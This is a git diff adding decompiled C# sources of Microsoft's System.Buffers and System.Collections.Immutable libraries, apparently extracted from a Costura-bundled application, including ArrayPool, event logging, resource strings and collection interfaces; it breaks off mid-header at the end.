+using System.Resources; +using System.Runtime.CompilerServices; +using System.Security; +using System.Security.Permissions; + +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyTitle("System.Buffers")] +[assembly: AssemblyDescription("System.Buffers")] +[assembly: AssemblyDefaultAlias("System.Buffers")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.28619.01")] +[assembly: AssemblyInformationalVersion("4.6.28619.01 @BuiltBy: dlab14-DDVSOWINAGE069 @Branch: release/2.1 @SrcCode: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyVersion("4.0.3.0")] diff --git a/decompiled/Libraries/system.buffers/System.Buffers/ArrayPool.cs b/decompiled/Libraries/system.buffers/System.Buffers/ArrayPool.cs new file mode 100644 index 0000000..551194d --- /dev/null +++ b/decompiled/Libraries/system.buffers/System.Buffers/ArrayPool.cs @@ -0,0 +1,39 @@ +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Buffers; + +public abstract class ArrayPool +{ + private static ArrayPool s_sharedInstance; + + public static ArrayPool Shared + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return Volatile.Read(in s_sharedInstance) ?? EnsureSharedCreated(); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static ArrayPool EnsureSharedCreated() + { + Interlocked.CompareExchange(ref s_sharedInstance, Create(), null); + return s_sharedInstance; + } + + public static ArrayPool Create() + { + return new DefaultArrayPool(); + } + + public static ArrayPool Create(int maxArrayLength, int maxArraysPerBucket) + { + return new DefaultArrayPool(maxArrayLength, maxArraysPerBucket); + } + + public abstract T[] Rent(int minimumLength); + + public abstract void Return(T[] array, bool clearArray = false); +} diff --git a/decompiled/Libraries/system.buffers/System.Buffers/ArrayPoolEventSource.cs b/decompiled/Libraries/system.buffers/System.Buffers/ArrayPoolEventSource.cs new file mode 100644 index 0000000..edda121 --- /dev/null +++ b/decompiled/Libraries/system.buffers/System.Buffers/ArrayPoolEventSource.cs @@ -0,0 +1,81 @@ +using System.Diagnostics.Tracing; + +namespace System.Buffers; + +[EventSource(Name = "System.Buffers.ArrayPoolEventSource")] +internal sealed class ArrayPoolEventSource : EventSource +{ + internal enum BufferAllocatedReason + { + Pooled, + OverMaximumSize, + PoolExhausted + } + + internal static readonly System.Buffers.ArrayPoolEventSource Log = new System.Buffers.ArrayPoolEventSource(); + + [Event(1, Level = EventLevel.Verbose)] + internal unsafe void BufferRented(int bufferId, int bufferSize, int poolId, int bucketId) + { + EventData* ptr = stackalloc EventData[4]; + *ptr = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bufferId) + }; + ptr[1] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bufferSize) + }; + ptr[2] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&poolId) + }; + ptr[3] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bucketId) + }; + WriteEventCore(1, 4, ptr); + } + + [Event(2, Level = EventLevel.Informational)] + internal unsafe void BufferAllocated(int bufferId, int bufferSize, int poolId, int bucketId, BufferAllocatedReason reason) + { + EventData* ptr = stackalloc EventData[5]; + *ptr = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bufferId) + }; + ptr[1] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bufferSize) + }; + ptr[2] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&poolId) + }; + ptr[3] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&bucketId) + }; + ptr[4] = new EventData + { + Size = 4, + DataPointer = (IntPtr)(&reason) + }; + WriteEventCore(2, 5, ptr); + } + + [Event(3, Level = EventLevel.Verbose)] + internal void BufferReturned(int bufferId, int bufferSize, int poolId) + { + WriteEvent(3, bufferId, bufferSize, poolId); + } +} diff --git a/decompiled/Libraries/system.buffers/System.Buffers/DefaultArrayPool.cs b/decompiled/Libraries/system.buffers/System.Buffers/DefaultArrayPool.cs new file mode 100644 index 0000000..c82fb3a --- /dev/null +++ b/decompiled/Libraries/system.buffers/System.Buffers/DefaultArrayPool.cs @@ -0,0 +1,203 @@ +using System.Diagnostics; +using System.Threading; + +namespace System.Buffers; + +internal sealed class DefaultArrayPool : ArrayPool +{ + private sealed class Bucket + { + internal readonly int _bufferLength; + + private readonly T[][] _buffers; + + private readonly int _poolId; + + private SpinLock _lock; + + private int _index; + + internal int Id => GetHashCode(); + + internal Bucket(int bufferLength, int numberOfBuffers, int poolId) + { + _lock = new SpinLock(Debugger.IsAttached); + _buffers = new T[numberOfBuffers][]; + _bufferLength = bufferLength; + _poolId = poolId; + } + + internal T[] Rent() + { + T[][] buffers = _buffers; + T[] array = null; + bool lockTaken = false; + bool flag = false; + try + { + _lock.Enter(ref lockTaken); + if (_index < buffers.Length) + { + array = buffers[_index]; + buffers[_index++] = null; + flag = array == null; + } + } + finally + { + if (lockTaken) + { + _lock.Exit(useMemoryBarrier: false); + } + } + if (flag) + { + array = new T[_bufferLength]; + System.Buffers.ArrayPoolEventSource log = System.Buffers.ArrayPoolEventSource.Log; + if (log.IsEnabled()) + { + log.BufferAllocated(array.GetHashCode(), _bufferLength, _poolId, Id, System.Buffers.ArrayPoolEventSource.BufferAllocatedReason.Pooled); + } + } + return array; + } + + internal void Return(T[] array) + { + if (array.Length != _bufferLength) + { + throw new ArgumentException(System.SR.ArgumentException_BufferNotFromPool, "array"); + } + bool lockTaken = false; + try + { + _lock.Enter(ref lockTaken); + if (_index != 0) + { + _buffers[--_index] = array; + } + } + finally + { + if (lockTaken) + { + _lock.Exit(useMemoryBarrier: false); + } + } + } + } + + private const int DefaultMaxArrayLength = 1048576; + + private const int DefaultMaxNumberOfArraysPerBucket = 50; + + private static T[] s_emptyArray; + + private readonly Bucket[] _buckets; + + private int Id => GetHashCode(); + + internal DefaultArrayPool() + : this(1048576, 50) + { + } + + internal DefaultArrayPool(int maxArrayLength, int maxArraysPerBucket) + { + if (maxArrayLength <= 0) + { + throw new ArgumentOutOfRangeException("maxArrayLength"); + } + if (maxArraysPerBucket <= 0) + { + throw new ArgumentOutOfRangeException("maxArraysPerBucket"); + } + if (maxArrayLength > 1073741824) + { + maxArrayLength = 1073741824; + } + else if (maxArrayLength < 16) + { + maxArrayLength = 16; + } + int id = Id; + int num = System.Buffers.Utilities.SelectBucketIndex(maxArrayLength); + Bucket[] array = new Bucket[num + 1]; + for (int i = 0; i < array.Length; i++) + { + array[i] = new Bucket(System.Buffers.Utilities.GetMaxSizeForBucket(i), maxArraysPerBucket, id); + } + _buckets = array; + } + + public override T[] Rent(int minimumLength) + { + if (minimumLength < 0) + { + throw new ArgumentOutOfRangeException("minimumLength"); + } + if (minimumLength == 0) + { + return s_emptyArray ?? (s_emptyArray = new T[0]); + } + System.Buffers.ArrayPoolEventSource log = System.Buffers.ArrayPoolEventSource.Log; + T[] array = null; + int num = System.Buffers.Utilities.SelectBucketIndex(minimumLength); + if (num < _buckets.Length) + { + int num2 = num; + do + { + array = _buckets[num2].Rent(); + if (array != null) + { + if (log.IsEnabled()) + { + log.BufferRented(array.GetHashCode(), array.Length, Id, _buckets[num2].Id); + } + return array; + } + } + while (++num2 < _buckets.Length && num2 != num + 2); + array = new T[_buckets[num]._bufferLength]; + } + else + { + array = new T[minimumLength]; + } + if (log.IsEnabled()) + { + int hashCode = array.GetHashCode(); + int bucketId = -1; + log.BufferRented(hashCode, array.Length, Id, bucketId); + log.BufferAllocated(hashCode, array.Length, Id, bucketId, (num >= _buckets.Length) ? System.Buffers.ArrayPoolEventSource.BufferAllocatedReason.OverMaximumSize : System.Buffers.ArrayPoolEventSource.BufferAllocatedReason.PoolExhausted); + } + return array; + } + + public override void Return(T[] array, bool clearArray = false) + { + if (array == null) + { + throw new ArgumentNullException("array"); + } + if (array.Length == 0) + { + return; + } + int num = System.Buffers.Utilities.SelectBucketIndex(array.Length); + if (num < _buckets.Length) + { + if (clearArray) + { + Array.Clear(array, 0, array.Length); + } + _buckets[num].Return(array); + } + System.Buffers.ArrayPoolEventSource log = System.Buffers.ArrayPoolEventSource.Log; + if (log.IsEnabled()) + { + log.BufferReturned(array.GetHashCode(), array.Length, Id); + } + } +} diff --git a/decompiled/Libraries/system.buffers/System.Buffers/Utilities.cs b/decompiled/Libraries/system.buffers/System.Buffers/Utilities.cs new file mode 100644 index 0000000..7e207b4 --- /dev/null +++ b/decompiled/Libraries/system.buffers/System.Buffers/Utilities.cs @@ -0,0 +1,45 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers; + +internal static class Utilities +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static int SelectBucketIndex(int bufferSize) + { + uint num = (uint)(bufferSize - 1) >> 4; + int num2 = 0; + if (num > 65535) + { + num >>= 16; + num2 = 16; + } + if (num > 255) + { + num >>= 8; + num2 += 8; + } + if (num > 15) + { + num >>= 4; + num2 += 4; + } + if (num > 3) + { + num >>= 2; + num2 += 2; + } + if (num > 1) + { + num >>= 1; + num2++; + } + return num2 + (int)num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static int GetMaxSizeForBucket(int binIndex) + { + return 16 << binIndex; + } +} diff --git a/decompiled/Libraries/system.buffers/System/SR.cs b/decompiled/Libraries/system.buffers/System/SR.cs new file mode 100644 index 0000000..b9309e4 --- /dev/null +++ b/decompiled/Libraries/system.buffers/System/SR.cs @@ -0,0 +1,79 @@ +using System.Resources; +using System.Runtime.CompilerServices; +using FxResources.System.Buffers; + +namespace System; + +internal static class SR +{ + private static ResourceManager s_resourceManager; + + private static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(ResourceType)); + + internal static Type ResourceType { get; } = typeof(SR); + + internal static string ArgumentException_BufferNotFromPool => GetResourceString("ArgumentException_BufferNotFromPool", null); + + [MethodImpl(MethodImplOptions.NoInlining)] + private static bool UsingResourceKeys() + { + return false; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string text = null; + try + { + text = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + if (defaultString != null && resourceKey.Equals(text, StringComparison.Ordinal)) + { + return defaultString; + } + return text; + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } +} diff --git a/decompiled/Libraries/system.buffers/costura.system.buffers.csproj b/decompiled/Libraries/system.buffers/costura.system.buffers.csproj new file mode 100644 index 0000000..a60603c --- /dev/null +++ b/decompiled/Libraries/system.buffers/costura.system.buffers.csproj @@ -0,0 +1,17 @@ + + + System.Buffers + False + net40 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.collections.immutable/.DS_Store b/decompiled/Libraries/system.collections.immutable/.DS_Store new file mode 100644 index 0000000..19dcdff Binary files /dev/null and b/decompiled/Libraries/system.collections.immutable/.DS_Store differ diff --git a/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable.SR.resx b/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable.SR.resx new file mode 100644 index 0000000..c6301eb --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable.SR.resx @@ -0,0 +1,40 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Object is not an array with the same number of elements as the array to compare it to. + Object is not an array with the same initialization state as the array to compare it to. + Collection was modified; enumeration operation may not execute. + Capacity was less than the current Count of elements. + This operation does not apply to an empty instance. + MoveToImmutable can only be performed when Count equals Capacity. + Cannot find the old value + An element with the same key but a different value already exists. Key: '{0}' + The given key '{0}' was not present in the dictionary. + This operation cannot be performed on a default instance of ImmutableArray<T>. Consider initializing the array, or checking the ImmutableArray<T>.IsDefault property. + \ No newline at end of file diff --git a/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable/SR.cs b/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable/SR.cs new file mode 100644 index 0000000..38b885f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/FxResources.System.Collections.Immutable/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Collections.Immutable; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/ILLink.Substitutions.xml b/decompiled/Libraries/system.collections.immutable/ILLink.Substitutions.xml new file mode 100644 index 0000000..b64f5b6 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/ILLink.Substitutions.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.collections.immutable/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/system.collections.immutable/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.collections.immutable/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..a69e4a1 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/Properties/AssemblyInfo.cs @@ -0,0 +1,27 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; + +[assembly: InternalsVisibleTo("System.Collections.Immutable.Tests, PublicKey=00240000048000009400000006020000002400005253413100040000010001004b86c4cb78549b34bab61a3b1800e23bfeb5b3ec390074041536a7e3cbd97f5f04cf0f857155a8928eaa29ebfd11cfbbad3ba70efea7bda3226c6a8d370a4cd303f714486b6ebc225985a638471e6ef571cc92a4613c00b8fa65d61ccee0cbe5f36330c9a01f4183559f1bef24cc2917c6d913e3a541333a1d05d9bed22b38cb")] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("System.Collections.Immutable")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("This package provides collections that are thread safe and guaranteed to never change their contents, also known as immutable collections. Like strings, any methods that perform modifications will not change the existing instance but instead return a new instance. For efficiency reasons, the implementation uses a sharing mechanism to ensure that newly created instances share as much data as possible with the previous instance while ensuring that operations have a predictable time complexity.\r\n\r\nThe System.Collections.Immutable library is built-in as part of the shared framework in .NET Runtime. The package can be installed when you need to use it in other target frameworks.")] +[assembly: AssemblyFileVersion("7.0.22.51805")] +[assembly: AssemblyInformationalVersion("7.0.0+d099f075e45d2aa6007a22b71b45a08758559f80")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("System.Collections.Immutable")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("7.0.0.0")] +[module: NullablePublicOnly(true)] diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/IHashKeyCollection.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/IHashKeyCollection.cs new file mode 100644 index 0000000..9c4cee9 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/IHashKeyCollection.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Generic; + +internal interface IHashKeyCollection +{ + IEqualityComparer KeyComparer { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/ISortKeyCollection.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/ISortKeyCollection.cs new file mode 100644 index 0000000..76eaf1e --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Generic/ISortKeyCollection.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Generic; + +internal interface ISortKeyCollection +{ + IComparer KeyComparer { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/AllocFreeConcurrentStack.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/AllocFreeConcurrentStack.cs new file mode 100644 index 0000000..49c1250 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/AllocFreeConcurrentStack.cs @@ -0,0 +1,51 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace System.Collections.Immutable; + +internal static class AllocFreeConcurrentStack +{ + private const int MaxSize = 35; + + private static readonly Type s_typeOfT = typeof(T); + + private static Stack> ThreadLocalStack + { + get + { + Dictionary dictionary = AllocFreeConcurrentStack.t_stacks ?? (AllocFreeConcurrentStack.t_stacks = new Dictionary()); + if (!dictionary.TryGetValue(s_typeOfT, out var value)) + { + value = new Stack>(35); + dictionary.Add(s_typeOfT, value); + } + return (Stack>)value; + } + } + + public static void TryAdd(T item) + { + Stack> threadLocalStack = ThreadLocalStack; + if (threadLocalStack.Count < 35) + { + threadLocalStack.Push(new RefAsValueType(item)); + } + } + + public static bool TryTake([MaybeNullWhen(false)] out T item) + { + Stack> threadLocalStack = ThreadLocalStack; + if (threadLocalStack != null && threadLocalStack.Count > 0) + { + item = threadLocalStack.Pop().Value; + return true; + } + item = default(T); + return false; + } +} +internal static class AllocFreeConcurrentStack +{ + [ThreadStatic] + internal static Dictionary? t_stacks; +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DictionaryEnumerator.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DictionaryEnumerator.cs new file mode 100644 index 0000000..7c2db4f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DictionaryEnumerator.cs @@ -0,0 +1,32 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +internal sealed class DictionaryEnumerator : IDictionaryEnumerator, IEnumerator where TKey : notnull +{ + private readonly IEnumerator> _inner; + + public DictionaryEntry Entry => new DictionaryEntry(_inner.Current.Key, _inner.Current.Value); + + public object Key => _inner.Current.Key; + + public object? Value => _inner.Current.Value; + + public object Current => Entry; + + internal DictionaryEnumerator(IEnumerator> inner) + { + Requires.NotNull(inner, "inner"); + _inner = inner; + } + + public bool MoveNext() + { + return _inner.MoveNext(); + } + + public void Reset() + { + _inner.Reset(); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DisposableEnumeratorAdapter.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DisposableEnumeratorAdapter.cs new file mode 100644 index 0000000..a384e99 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/DisposableEnumeratorAdapter.cs @@ -0,0 +1,60 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +internal struct DisposableEnumeratorAdapter : IDisposable where TEnumerator : struct, IEnumerator +{ + private readonly IEnumerator _enumeratorObject; + + private TEnumerator _enumeratorStruct; + + public T Current + { + get + { + if (_enumeratorObject == null) + { + return _enumeratorStruct.Current; + } + return _enumeratorObject.Current; + } + } + + internal DisposableEnumeratorAdapter(TEnumerator enumerator) + { + _enumeratorStruct = enumerator; + _enumeratorObject = null; + } + + internal DisposableEnumeratorAdapter(IEnumerator enumerator) + { + _enumeratorStruct = default(TEnumerator); + _enumeratorObject = enumerator; + } + + public bool MoveNext() + { + if (_enumeratorObject == null) + { + return _enumeratorStruct.MoveNext(); + } + return _enumeratorObject.MoveNext(); + } + + public void Dispose() + { + if (_enumeratorObject != null) + { + _enumeratorObject.Dispose(); + } + else + { + _enumeratorStruct.Dispose(); + } + } + + public DisposableEnumeratorAdapter GetEnumerator() + { + return this; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IBinaryTree.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IBinaryTree.cs new file mode 100644 index 0000000..69dd070 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IBinaryTree.cs @@ -0,0 +1,22 @@ +namespace System.Collections.Immutable; + +internal interface IBinaryTree +{ + int Height { get; } + + bool IsEmpty { get; } + + int Count { get; } + + IBinaryTree? Left { get; } + + IBinaryTree? Right { get; } +} +internal interface IBinaryTree : IBinaryTree +{ + T Value { get; } + + new IBinaryTree? Left { get; } + + new IBinaryTree? Right { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableArray.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableArray.cs new file mode 100644 index 0000000..94324e9 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableArray.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Immutable; + +internal interface IImmutableArray +{ + Array? Array { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionary.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionary.cs new file mode 100644 index 0000000..55af955 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionary.cs @@ -0,0 +1,24 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +public interface IImmutableDictionary : IReadOnlyDictionary, IReadOnlyCollection>, IEnumerable>, IEnumerable +{ + IImmutableDictionary Clear(); + + IImmutableDictionary Add(TKey key, TValue value); + + IImmutableDictionary AddRange(IEnumerable> pairs); + + IImmutableDictionary SetItem(TKey key, TValue value); + + IImmutableDictionary SetItems(IEnumerable> items); + + IImmutableDictionary RemoveRange(IEnumerable keys); + + IImmutableDictionary Remove(TKey key); + + bool Contains(KeyValuePair pair); + + bool TryGetKey(TKey equalKey, out TKey actualKey); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionaryInternal.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionaryInternal.cs new file mode 100644 index 0000000..6bb7727 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableDictionaryInternal.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Immutable; + +internal interface IImmutableDictionaryInternal +{ + bool ContainsValue(TValue value); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableList.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableList.cs new file mode 100644 index 0000000..ba0d5c1 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableList.cs @@ -0,0 +1,34 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +public interface IImmutableList : IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable +{ + IImmutableList Clear(); + + int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer); + + int LastIndexOf(T item, int index, int count, IEqualityComparer? equalityComparer); + + IImmutableList Add(T value); + + IImmutableList AddRange(IEnumerable items); + + IImmutableList Insert(int index, T element); + + IImmutableList InsertRange(int index, IEnumerable items); + + IImmutableList Remove(T value, IEqualityComparer? equalityComparer); + + IImmutableList RemoveAll(Predicate match); + + IImmutableList RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer); + + IImmutableList RemoveRange(int index, int count); + + IImmutableList RemoveAt(int index); + + IImmutableList SetItem(int index, T value); + + IImmutableList Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableListQueries.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableListQueries.cs new file mode 100644 index 0000000..ab7305c --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableListQueries.cs @@ -0,0 +1,46 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +internal interface IImmutableListQueries : IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable +{ + ImmutableList ConvertAll(Func converter); + + void ForEach(Action action); + + ImmutableList GetRange(int index, int count); + + void CopyTo(T[] array); + + void CopyTo(T[] array, int arrayIndex); + + void CopyTo(int index, T[] array, int arrayIndex, int count); + + bool Exists(Predicate match); + + T? Find(Predicate match); + + ImmutableList FindAll(Predicate match); + + int FindIndex(Predicate match); + + int FindIndex(int startIndex, Predicate match); + + int FindIndex(int startIndex, int count, Predicate match); + + T? FindLast(Predicate match); + + int FindLastIndex(Predicate match); + + int FindLastIndex(int startIndex, Predicate match); + + int FindLastIndex(int startIndex, int count, Predicate match); + + bool TrueForAll(Predicate match); + + int BinarySearch(T item); + + int BinarySearch(T item, IComparer? comparer); + + int BinarySearch(int index, int count, T item, IComparer? comparer); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableQueue.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableQueue.cs new file mode 100644 index 0000000..cb270af --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableQueue.cs @@ -0,0 +1,16 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +public interface IImmutableQueue : IEnumerable, IEnumerable +{ + bool IsEmpty { get; } + + IImmutableQueue Clear(); + + T Peek(); + + IImmutableQueue Enqueue(T value); + + IImmutableQueue Dequeue(); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableSet.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableSet.cs new file mode 100644 index 0000000..8c103e5 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableSet.cs @@ -0,0 +1,36 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +public interface IImmutableSet : IReadOnlyCollection, IEnumerable, IEnumerable +{ + IImmutableSet Clear(); + + bool Contains(T value); + + IImmutableSet Add(T value); + + IImmutableSet Remove(T value); + + bool TryGetValue(T equalValue, out T actualValue); + + IImmutableSet Intersect(IEnumerable other); + + IImmutableSet Except(IEnumerable other); + + IImmutableSet SymmetricExcept(IEnumerable other); + + IImmutableSet Union(IEnumerable other); + + bool SetEquals(IEnumerable other); + + bool IsProperSubsetOf(IEnumerable other); + + bool IsProperSupersetOf(IEnumerable other); + + bool IsSubsetOf(IEnumerable other); + + bool IsSupersetOf(IEnumerable other); + + bool Overlaps(IEnumerable other); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableStack.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableStack.cs new file mode 100644 index 0000000..24e1cc8 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IImmutableStack.cs @@ -0,0 +1,16 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +public interface IImmutableStack : IEnumerable, IEnumerable +{ + bool IsEmpty { get; } + + IImmutableStack Clear(); + + IImmutableStack Push(T value); + + IImmutableStack Pop(); + + T Peek(); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IOrderedCollection.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IOrderedCollection.cs new file mode 100644 index 0000000..9f193e0 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IOrderedCollection.cs @@ -0,0 +1,10 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +internal interface IOrderedCollection : IEnumerable, IEnumerable +{ + int Count { get; } + + T this[int index] { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ISecurePooledObjectUser.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ISecurePooledObjectUser.cs new file mode 100644 index 0000000..e11024e --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ISecurePooledObjectUser.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Immutable; + +internal interface ISecurePooledObjectUser +{ + int PoolUserId { get; } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerable.cs 